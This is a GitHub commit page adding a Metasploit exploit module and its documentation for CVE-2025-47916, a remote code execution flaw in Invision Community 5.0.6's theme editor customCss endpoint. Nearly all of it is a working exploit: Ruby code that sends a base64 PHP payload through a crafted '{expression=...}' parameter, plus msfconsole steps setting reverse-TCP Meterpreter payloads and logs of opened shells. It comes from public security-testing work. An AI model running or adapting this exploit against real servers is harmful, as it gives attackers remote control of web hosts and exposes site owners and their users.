Skip to content
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Commit ca40f6e

Browse files
authoredMay 21, 2025··
Merge pull request #20214 from Chocapikk/invision_customcss_rce
Add Invision Community 5.0.6 customCss RCE (CVE-2025-47916)
2 parents ca013ca + 4d3e786 commit ca40f6e

File tree

2 files changed

+258
-0
lines changed

2 files changed

+258
-0
lines changed
 
Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a remote-code injection in Invision Community ≤ 5.0.6 via the **theme editor**’s `customCss` endpoint:
4+
5+
* **CVE-2025-47916**: malformed `{expression="…"}` allows evaluation of arbitrary PHP expressions in the `content` parameter.
6+
7+
### To replicate a vulnerable environment
8+
9+
1. **Download the pre-built Docker lab** (includes `Dockerfile`, `docker-compose.yml` and the IPS 5.0.6 application):
10+
11+
```bash
12+
wget https://archive.org/download/ips-5.0.6/IPS-5.0.6.zip -O ips_5.0.6_lab.zip
13+
mkdir ips_5.0.6_lab_dir
14+
unzip ips_5.0.6_lab.zip -d ips_5.0.6_lab_dir
15+
cd ips_5.0.6_lab_dir
16+
```
17+
18+
2. **Bring up the stack**:
19+
20+
```bash
21+
docker-compose up -d
22+
```
23+
24+
3. **Complete the installer** by browsing to [http://localhost:7777](http://localhost:7777).
25+
26+
* You do **not** need a valid license key; you can enter any text and proceed.
27+
* Use database host `db`, user `ipsuser`, password `ipspass`, database `ipsdb`.
28+
29+
## Verification Steps
30+
31+
1. **Check the installed version**:
32+
33+
```bash
34+
curl -s http://localhost:7777/admin/install/eula.txt | head -n5
35+
```
36+
37+
Expected output:
38+
39+
```
40+
=============================[NOTE]=============================
41+
Buy license at https://invisioncommunity.com/buy/self-hosted/
42+
================================================================
43+
IPS 5.0.6 (5000074)
44+
=============================[NOTE]=============================
45+
```
46+
47+
2. **In `msfconsole`**, confirm the module’s `check` returns vulnerable:
48+
49+
```bash
50+
use exploit/multi/http/invision_customcss_rce
51+
set RHOSTS 127.0.0.1
52+
set TARGETURI /
53+
check
54+
```
55+
56+
## Options
57+
58+
No option
59+
60+
## Scenarios
61+
62+
### PHP Meterpreter (in-memory)
63+
64+
```bash
65+
use exploit/multi/http/invision_customcss_rce
66+
set TARGET 0
67+
set RHOSTS 127.0.0.1
68+
set TARGETURI /
69+
set PAYLOAD php/meterpreter/reverse_tcp
70+
set LHOST 192.168.1.10
71+
set LPORT 4444
72+
run
73+
```
74+
75+
### Command Shell (ARCH_CMD)
76+
77+
```bash
78+
use exploit/multi/http/invision_customcss_rce
79+
set TARGET 1
80+
set RHOSTS 127.0.0.1
81+
set TARGETURI /
82+
set payload cmd/linux/http/x64/meterpreter_reverse_tcp
83+
set LHOST 192.168.1.10
84+
set LPORT 4444
85+
run
86+
```
87+
88+
## Expected Results
89+
90+
With `php/meterpreter/reverse_tcp`:
91+
92+
```plaintext
93+
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777
94+
[*] Exploiting target 127.0.0.1
95+
[*] Started reverse TCP handler on 192.168.1.36:4444
96+
[*] Running automatic check ("set AutoCheck false" to disable)
97+
[*] Detected IPS version: 5.0.6
98+
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
99+
[*] Sending exploit to 127.0.0.1:7777 ...
100+
[*] Sending stage (40004 bytes) to 172.30.0.3
101+
[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 172.30.0.3:34414) at 2025-05-20 18:13:55 +0200
102+
[*] Session 9 created in the background.
103+
msf6 exploit(multi/http/invision_customcss_rce) > sessions 9
104+
[*] Starting interaction with 9...
105+
106+
meterpreter > sysinfo
107+
Computer : 01ed59644450
108+
OS : Linux 01ed59644450 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64
109+
Meterpreter : php/linux
110+
```
111+
112+
With `cmd/linux/http/x64/meterpreter_reverse_tcp`:
113+
114+
```plaintext
115+
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777
116+
[*] Exploiting target 127.0.0.1
117+
[*] Started reverse TCP handler on 192.168.1.36:4444
118+
[*] Running automatic check ("set AutoCheck false" to disable)
119+
[*] Detected IPS version: 5.0.6
120+
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
121+
[*] Sending exploit to 127.0.0.1:7777 ...
122+
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.30.0.3:46552) at 2025-05-20 18:11:35 +0200
123+
[*] Session 7 created in the background.
124+
msf6 exploit(multi/http/invision_customcss_rce) > sessions 7
125+
[*] Starting interaction with 7...
126+
127+
meterpreter > sysinfo
128+
Computer : 172.30.0.3
129+
OS : Debian 12.10 (Linux 6.14.6-2-cachyos)
130+
Architecture : x64
131+
BuildTuple : x86_64-linux-musl
132+
Meterpreter : x64/linux
133+
meterpreter >
134+
```
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
include Msf::Payload::Php
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Invision Community 5.0.6 customCss RCE',
18+
'Description' => %q{
19+
Invision Community up to and including version 5.0.6 contains a remote code
20+
execution vulnerability in the theme editor's customCss endpoint. By crafting
21+
a specially formatted `content` parameter with a `{expression="…"}`
22+
construct, arbitrary PHP can be evaluated. This module leverages that flaw
23+
to execute payloads or system commands as the webserver user.
24+
},
25+
'Author' => [
26+
'Egidio Romano (EgiX)', # Vulnerability discovery & original PoC
27+
'Valentin Lobstein' # Metasploit module
28+
],
29+
'References' => [
30+
['CVE', '2025-47916'],
31+
['URL', 'https://karmainsecurity.com/KIS-2025-02'],
32+
['URL', 'https://invisioncommunity.com']
33+
],
34+
'License' => MSF_LICENSE,
35+
'Platform' => %w[php unix linux win],
36+
'Arch' => [ARCH_PHP, ARCH_CMD],
37+
'Targets' => [
38+
[
39+
'PHP In-Memory',
40+
{
41+
'Platform' => 'php',
42+
'Arch' => ARCH_PHP
43+
# tested with php/meterpreter/reverse_tcp
44+
}
45+
],
46+
[
47+
'Unix/Linux Command Shell',
48+
{
49+
'Platform' => %w[unix linux],
50+
'Arch' => ARCH_CMD
51+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
52+
}
53+
],
54+
[
55+
'Windows Command Shell',
56+
{
57+
'Platform' => 'win',
58+
'Arch' => ARCH_CMD
59+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
60+
}
61+
]
62+
],
63+
'DefaultTarget' => 0,
64+
'DisclosureDate' => '2025-05-16',
65+
'Notes' => {
66+
'Stability' => [CRASH_SAFE],
67+
'Reliability' => [REPEATABLE_SESSION],
68+
'SideEffects' => [IOC_IN_LOGS]
69+
}
70+
)
71+
)
72+
end
73+
74+
def check
75+
path = normalize_uri(target_uri.path, 'admin', 'install', 'eula.txt')
76+
res = send_request_cgi('uri' => path, 'method' => 'GET')
77+
unless res&.code == 200 && res.body =~ /^ IPS\ ([\d.]+) /
78+
return CheckCode::Unknown('Unable to retrieve or parse IPS version from EULA')
79+
end
80+
81+
version = Rex::Version.new(Regexp.last_match(1))
82+
print_status("Detected IPS version: #{version}")
83+
84+
if version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.6'))
85+
CheckCode::Appears("IPS version #{version} is vulnerable (≤ 5.0.6)")
86+
else
87+
CheckCode::Safe("IPS version #{version} is not vulnerable")
88+
end
89+
end
90+
91+
# I'll remove this method when PR #20160 is merged. I'm aware of it, thanks
92+
def php_exec_cmd(encoded_payload)
93+
vars = Rex::RandomIdentifier::Generator.new
94+
dis = '$' + vars[:dis]
95+
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
96+
shell = <<-END_OF_PHP_CODE
97+
#{php_preamble(disabled_varname: dis)}
98+
$c = base64_decode("#{encoded_clean_payload}");
99+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
100+
END_OF_PHP_CODE
101+
return shell
102+
end
103+
104+
def exploit
105+
raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
106+
b64 = Rex::Text.encode_base64(raw)
107+
108+
expr = "{expression=\"die(eval(base64_decode('#{b64}')))\"}"
109+
post_data = {
110+
'app' => 'core',
111+
'module' => 'system',
112+
'controller' => 'themeeditor',
113+
'do' => 'customCss',
114+
'content' => expr
115+
}
116+
117+
print_status("Sending exploit to #{rhost}:#{rport} ...")
118+
send_request_cgi(
119+
'uri' => normalize_uri(target_uri.path, 'index.php'),
120+
'method' => 'POST',
121+
'vars_post' => post_data
122+
)
123+
end
124+
end

0 commit comments

Comments
 (0)
Please sign in to comment.